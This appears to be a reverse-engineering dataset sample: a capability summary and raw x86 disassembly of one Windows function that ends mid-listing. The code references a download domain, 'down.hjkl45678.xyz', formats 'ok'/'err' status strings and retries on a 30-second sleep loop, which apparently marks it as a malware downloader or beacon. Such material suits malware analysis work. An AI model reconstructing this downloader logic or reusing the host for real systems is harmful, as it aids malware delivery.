Function at 0x40c5b0
Capabilities:
Check if file exists
Enumerate pe sections
Get file size
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x429692
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43a14c]
xor eax, esp
push eax
lea eax, [esp + 0xe4]
mov dword fs:[0], eax
mov ebp, dword [esp + 0xf4]
mov edi, ecx
mov esi, edx
mov eax, dword [0x44030c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44030c
call edx
add eax, 0x10
mov dword [esp + 0x38], eax
mov dword [esp + 0xec], 0
mov eax, dword [0x44030c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44030c
call edx
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0xec], 1
mov eax, dword [0x44030c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44030c
call edx
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xec], 2
test esi, esi
jne 0x40c64d
xor eax, eax
jmp 0x40c661
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c652
sub eax, edx
sar eax, 1
mov ebx, eax
push esi
lea eax, [esp + 0x3c]
call fcn.00401450
test edi, edi
jne 0x40c675
xor eax, eax
jmp 0x40c68f
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c680
sub eax, edx
sar eax, 1
mov ebx, eax
push edi
lea eax, [esp + 0x38]
call fcn.00401450
test ebp, ebp
jne 0x40c6a3
xor eax, eax
jmp 0x40c6bf
mov eax, ebp
lea edx, [eax + 2]
jmp 0x40c6b0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c6b0
sub eax, edx
sar eax, 1
mov ebx, eax
push ebp
lea eax, [esp + 0x4c]
call fcn.00401450
xor eax, eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
mov byte [esp + 0xec], 4
mov dword [esp + 0x24], eax
push 4
call fcn.00418ae9
xor esi, esi
add esp, 4
cmp eax, esi
je 0x40c71f
lea ecx, [esp + 0x4c]
mov dword [eax], ecx
jmp 0x40c721
xor eax, eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], esi
mov byte [esp + 0xec], 6
mov dword [esp + 0x3c], esi
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x1c], ebp
cmp esi, 2
mov byte [esp + 0xec], 7
jge 0x40c806
mov edx, dword [esi*4 + 0x43fe2c]
lea ecx, [esp + 0xa8]
call fcn.00415f70
mov byte [esp + 0xec], 8
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [ebp - 0x10]
cmp eax, esi
je 0x40c7d2
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40c7c1
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c7c1
call fcn.004014f0
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40c7b8
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea ebp, [ebx + 0x10]
mov dword [esp + 0x1c], ebp
jmp 0x40c7d2
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x20]
call fcn.00401450
mov ebp, dword [esp + 0x1c]
mov byte [esp + 0xec], 7
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c97c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40c97c
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x14], edi
mov byte [esp + 0xec], 9
mov edx, dword [esi*4 + 0x43fe2c]
lea ecx, [esp + 0xb0]
call fcn.00415f70
mov byte [esp + 0xec], 0xa
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [edi - 0x10]
cmp eax, esi
je 0x40c892
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x40c881
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c881
call fcn.004014f0
mov edi, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x40c878
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add edi, 0x10
mov dword [esp + 0x14], edi
jmp 0x40c892
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x18]
call fcn.00401450
mov edi, dword [esp + 0x14]
mov byte [esp + 0xec], 9
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c8bd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x38]
push edi
push ecx
lea edx, [esp + 0xac]
push edx
call fcn.0040ac70
add esp, 0xc
mov byte [esp + 0xec], 0xb
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [ebp - 0x10]
cmp eax, esi
je 0x40c92d
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x40c91c
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c91c
call fcn.004014f0
mov ebp, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x40c913
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x1c], ebp
jmp 0x40c92d
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x20]
call fcn.00401450
mov ebp, dword [esp + 0x1c]
mov byte [esp + 0xec], 9
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c958
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add edi, 0xfffffff0
mov byte [esp + 0xec], 7
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c97c
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov esi, dword [esp + 0x5c]
mov ebx, dword [esp + 0x58]
mov eax, esi
sub eax, ebx
xor edi, edi
sar eax, 2
mov dword [esp + 0x14], edi
cmp eax, edi
jbe 0x40ca14
xor ecx, ecx
cmp ebp, edi
setne cl
mov dword [esp + 0x28], ecx
cmp edi, eax
jb 0x40c9b1
call fcn.00418f81
mov esi, dword [esp + 0x5c]
mov ebx, dword [esp + 0x58]
cmp dword [esp + 0x28], 0
je 0x40d594
mov eax, dword [ebx + edi*4]
mov ecx, ebp
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c9e7
test dx, dx
je 0x40c9e3
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c9e7
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c9c1
xor eax, eax
jmp 0x40c9ec
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x40c9fd
mov dword [esp + 0x14], 1
mov eax, esi
sub eax, ebx
inc edi
sar eax, 2
cmp edi, eax
jb 0x40c9b1
cmp dword [esp + 0x14], 0
jne 0x40d4d0
test ebx, ebx
jne 0x40ca1c
xor eax, eax
jmp 0x40ca25
mov eax, dword [esp + 0x60]
sub eax, ebx
sar eax, 2
mov edx, esi
sub edx, ebx
sar edx, 2
cmp edx, eax
jae 0x40ca5e
mov ecx, dword [esp + 0x18]
mov byte [esp + 0x9c], 0
mov eax, dword [esp + 0x9c]
push eax
push ecx
lea edx, [esp + 0x24]
push edx
push 1
push esi
call fcn.0040f0a0
add esp, 0x14
add esi, 4
mov dword [esp + 0x5c], esi
jmp 0x40ca83
cmp ebx, esi
jbe 0x40ca67
call fcn.00418f81
mov eax, dword [esp + 0x4c]
push esi
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xdc]
push ecx
lea eax, [esp + 0x5c]
call fcn.0040e6a0
push 4
call fcn.00418ae9
xor ecx, ecx
add esp, 4
cmp eax, ecx
je 0x40ca9b
lea edx, [esp + 0x64]
mov dword [eax], edx
jmp 0x40ca9d
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x70], ecx
mov dword [esp + 0x74], ecx
mov dword [esp + 0x78], ecx
mov byte [esp + 0xec], 0xd
mov dword [esp + 0x28], ecx
lea esp, [esp]
mov eax, dword [0x44030c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44030c
call edx
lea ebx, [eax + 0x10]
mov dword [esp + 0x20], ebx
mov eax, dword [esp + 0x28]
mov byte [esp + 0xec], 0xe
test eax, eax
jne 0x40cc0f
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0xa0]
push eax
call fcn.00403430
mov byte [esp + 0xec], 0xf
mov eax, dword [eax]
push eax
lea ecx, [esp + 0xbc]
push ecx
call fcn.00405d30
add esp, 8
mov byte [esp + 0xec], 0x10
mov edi, dword [eax]
test edi, edi
je 0x40cb7d
mov ebp, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
mov esi, eax
dec esi
test esi, esi
jle 0x40cb7d
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, esi
or eax, ecx
jge 0x40cb5e
mov ecx, esi
lea eax, [esp + 0x20]
call fcn.004015c0
mov ebx, dword [esp + 0x20]
push esi
push ebx
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
cmp esi, dword [ebx - 8]
jg 0x40d59e
xor edx, edx
mov dword [ebx - 0xc], esi
mov word [ebx + esi*2], dx
jmp 0x40cbd0
cmp dword [ebx - 0xc], 0
mov esi, dword [ebx - 0x10]
lea eax, [ebx - 0x10]
je 0x40cbd0
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40cbaa
cmp dword [ebx - 8], 0
jl 0x40d59e
xor eax, eax
mov dword [ebx - 0xc], 0
mov word [ebx], ax
jmp 0x40cbd0
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cbc0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x20], ebx
mov byte [esp + 0xec], 0xf
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cbfb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0xa0]
jmp 0x40ce75
cmp eax, 1
jne 0x40cd8e
mov esi, dword [esp + 0x1c]
push eax
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40cc4b
cmp eax, dword [esi]
jne 0x40cc4b
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40cc86
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d611
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00418525
add esp, 0x10
lea ecx, [esp + 0xb4]
add edi, 0x10
push ecx
mov dword [ebp], edi
call fcn.0040b510
add esp, 0xc
mov byte [esp + 0xec], 0x11
mov edi, dword [eax]
test edi, edi
je 0x40cd15
mov ebp, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
mov esi, eax
dec esi
test esi, esi
jle 0x40cd15
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, esi
or eax, ecx
jge 0x40cce4
mov ecx, esi
lea eax, [esp + 0x20]
call fcn.004015c0
mov ebx, dword [esp + 0x20]
push esi
push ebx
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
cmp esi, dword [ebx - 8]
jg 0x40d59e
mov dword [ebx - 0xc], esi
xor edx, edx
mov word [ebx + esi*2], dx
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0xac]
jmp 0x40ce75
cmp dword [ebx - 0xc], 0
mov esi, dword [ebx - 0x10]
lea eax, [ebx - 0x10]
je 0x40cd7a
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40cd54
cmp dword [ebx - 8], 0
jl 0x40d59e
xor eax, eax
mov dword [ebx - 0xc], 0
mov word [ebx], ax
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0xac]
jmp 0x40ce75
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cd6a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x20], ebx
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0xac]
jmp 0x40ce75
cmp eax, 2
jne 0x40ce91
lea ecx, [esp + 0xb4]
push str.down.hjkl45678.xyz
push ecx
call fcn.00405d30
add esp, 8
mov byte [esp + 0xec], 0x12
mov edi, dword [eax]
test edi, edi
je 0x40ce13
mov ebp, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
mov esi, eax
dec esi
test esi, esi
jle 0x40ce13
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, esi
or eax, ecx
jge 0x40cdf4
mov ecx, esi
lea eax, [esp + 0x20]
call fcn.004015c0
mov ebx, dword [esp + 0x20]
push esi
push ebx
push 0xffffffffffffffff
push edi
push 0
push 3
call ebp
cmp esi, dword [ebx - 8]
jg 0x40d59e
xor edx, edx
mov dword [ebx - 0xc], esi
mov word [ebx + esi*2], dx
jmp 0x40ce66
cmp dword [ebx - 0xc], 0
mov esi, dword [ebx - 0x10]
lea eax, [ebx - 0x10]
je 0x40ce66
cmp dword [eax + 0xc], 0
lea ecx, [eax + 0xc]
jge 0x40ce40
cmp dword [ebx - 8], 0
jl 0x40d59e
xor eax, eax
mov dword [ebx - 0xc], 0
mov word [ebx], ax
jmp 0x40ce66
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ce56
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0xc]
mov ecx, esi
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x20], ebx
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ce91
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x74]
mov ebp, dword [esp + 0x70]
mov eax, esi
sub eax, ebp
xor edi, edi
sar eax, 2
mov dword [esp + 0x14], edi
cmp eax, edi
jbe 0x40cf33
xor ecx, ecx
cmp ebx, edi
setne cl
mov dword [esp + 0x30], ecx
cmp edi, eax
jb 0x40ceca
call fcn.00418f81
mov esi, dword [esp + 0x74]
mov ebp, dword [esp + 0x70]
cmp dword [esp + 0x30], 0
je 0x40d594
mov eax, dword [ebp + edi*4]
mov ecx, ebx
jmp 0x40cee0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40cf06
test dx, dx
je 0x40cf02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40cf06
add eax, 4
add ecx, 4
test dx, dx
jne 0x40cee0
xor eax, eax
jmp 0x40cf0b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x40cf1c
mov dword [esp + 0x14], 1
mov eax, esi
sub eax, ebp
inc edi
sar eax, 2
cmp edi, eax
jb 0x40ceca
cmp dword [esp + 0x14], 0
jne 0x40d415
test ebp, ebp
jne 0x40cf3b
xor eax, eax
jmp 0x40cf44
mov eax, dword [esp + 0x78]
sub eax, ebp
sar eax, 2
mov edx, esi
sub edx, ebp
sar edx, 2
cmp edx, eax
jae 0x40cf77
mov ecx, dword [esp + 0x18]
mov byte [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
push eax
push ecx
lea edx, [esp + 0x28]
push edx
push 1
push esi
call fcn.0040f0a0
add esp, 0x14
add esi, 4
mov dword [esp + 0x74], esi
jmp 0x40cf9c
cmp ebp, esi
jbe 0x40cf80
call fcn.00418f81
mov eax, dword [esp + 0x64]
push esi
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xe4]
push ecx
lea eax, [esp + 0x74]
call fcn.0040e6a0
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
call eax
cmp dword [ebx + 0xc], 0
lea ecx, [ebx + 0xc]
jl 0x40cfc3
cmp eax, dword [ebx]
jne 0x40cfc3
mov esi, ebx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40cffe
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x40d611
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebx + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00418525
add esp, 0x10
add esi, 0x10
mov dword [esp + 0x30], esi
lea edx, [esp + 0xbc]
push edx
mov byte [esp + 0xf0], 0x13
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
push esi
push ebp
push eax
call fcn.0040b930
mov edi, eax
lea eax, [esi - 0x10]
add esp, 0x10
mov byte [esp + 0xec], 0xe
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d052
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
test edi, edi
je 0x40d293
mov byte [esp + 0xec], 0x14
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [ebx + 0xc], 0
lea ecx, [ebx + 0xc]
jl 0x40d09c
cmp eax, dword [ebx]
jne 0x40d09c
mov esi, ebx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d0d7
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x40d611
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebx + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00418525
add esp, 0x10
add esi, 0x10
mov dword [esp + 0x30], esi
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x24]
push esi
push ebp
push edx
push eax
push ecx
push str._d__d__d__s___s_ok
lea edi, [esp + 0x2c]
mov byte [esp + 0x104], 0x15
call fcn.004016c0
lea eax, [esi - 0x10]
add esp, 0x18
mov byte [esp + 0xec], 0x14
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d12c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x18]
call fcn.00403430
push 0x42bf8c
mov byte [esp + 0xf0], 0x16
mov esi, dword [eax]
push 0x4410d8
mov edx, 1
call fcn.00404420
test esi, esi
jne 0x40d160
xor eax, eax
jmp 0x40d16e
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d165
sub eax, edx
push esi
push 0x4410d8
mov edx, eax
call fcn.00404420
mov byte [esp + 0xec], 0x14
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d1a3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x38]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x34], esp
lea ebp, [esp + 0x90]
mov dword [esp + 0x34], esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40d1de
cmp eax, dword [esi]
jne 0x40d1de
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d219
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40d611
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00418525
add esp, 0x10
mov ecx, dword [esp + 0x34]
lea edx, [esp + 0x48]
add edi, 0x10
push edx
mov dword [ecx], edi
call fcn.00409890
mov byte [esp + 0xf4], 0x17
mov eax, dword [eax]
push eax
lea eax, [esp + 0xc8]
push eax
mov ecx, ebp
call fcn.0040bca0
mov esi, eax
mov byte [esp + 0xfc], 0x14
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x2c], esi
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d277
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40d5a8
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
jmp 0x40d3d9
mov byte [esp + 0xec], 0x18
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [ebx + 0xc], 0
lea ecx, [ebx + 0xc]
jl 0x40d2be
cmp eax, dword [ebx]
jne 0x40d2be
mov esi, ebx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d2f9
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x40d611
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebx + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00418525
add esp, 0x10
add esi, 0x10
mov dword [esp + 0x30], esi
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x24]
push esi
push ebp
push edx
push eax
push ecx
push str._d__d__d__s___s_err
lea edi, [esp + 0x2c]
mov byte [esp + 0x104], 0x19
call fcn.004016c0
lea eax, [esi - 0x10]
add esp, 0x18
mov byte [esp + 0xec], 0x18
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d34e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
mov ecx, edi
call fcn.00403430
push 0x42bf8c
mov byte [esp + 0xf0], 0x1a
mov esi, dword [eax]
push 0x4410d8
mov edx, 1
call fcn.00404420
test esi, esi
jne 0x40d384
xor eax, eax
jmp 0x40d399
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d390
sub eax, edx
push esi
push 0x4410d8
mov edx, eax
call fcn.00404420
mov byte [esp + 0xec], 0x18
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d3ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0xe
lea eax, [edi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d3f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0xd
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d439
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
jmp 0x40d439
lea eax, [ebx - 0x10]
mov byte [esp + 0xec], 0xd
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d439
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
inc eax
cmp eax, 3
mov dword [esp + 0x28], eax
jl 0x40cac0
mov byte [esp + 0xec], 7
mov esi, dword [esp + 0x70]
xor ebx, ebx
cmp esi, ebx
je 0x40d499
mov eax, dword [esp + 0x74]
mov edi, eax
cmp esi, eax
je 0x40d490
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d485
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d467
mov esi, dword [esp + 0x70]
push esi
call fcn.00418149
add esp, 4
mov ecx, dword [esp + 0x64]
push ecx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
call fcn.00418149
mov byte [esp + 0xf0], 6
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40d4e8
lea eax, [ebp - 0x10]
mov byte [esp + 0xec], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d4f4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x3c]
inc esi
cmp esi, 4
mov dword [esp + 0x3c], esi
jl 0x40c73d
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0xec], 4
mov esi, dword [esp + 0x58]
xor ebx, ebx
cmp esi, ebx
je 0x40d562
mov eax, dword [esp + 0x5c]
mov edi, eax
cmp esi, eax
je 0x40d559
lea ecx, [ecx]
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d54e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d530
mov esi, dword [esp + 0x58]
push esi
call fcn.00418149
add esp, 4
mov ecx, dword [esp + 0x4c]
push ecx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
call fcn.00418149
mov eax, dword [esp + 0x28]
inc eax
add esp, 4
cmp eax, 3
mov dword [esp + 0x24], eax
jl 0x40c707
xor edi, edi
jmp 0x40d86d
push 0x80004005
call fcn.00401760
push 0x80070057
call fcn.00401760
mov edx, dword [esp + 0xf8]
mov eax, dword [esp + 0x1c]
mov edi, dword [edx]
lea ebp, [eax - 0x10]
sub edi, 0x10
cmp ebp, edi
je 0x40d668
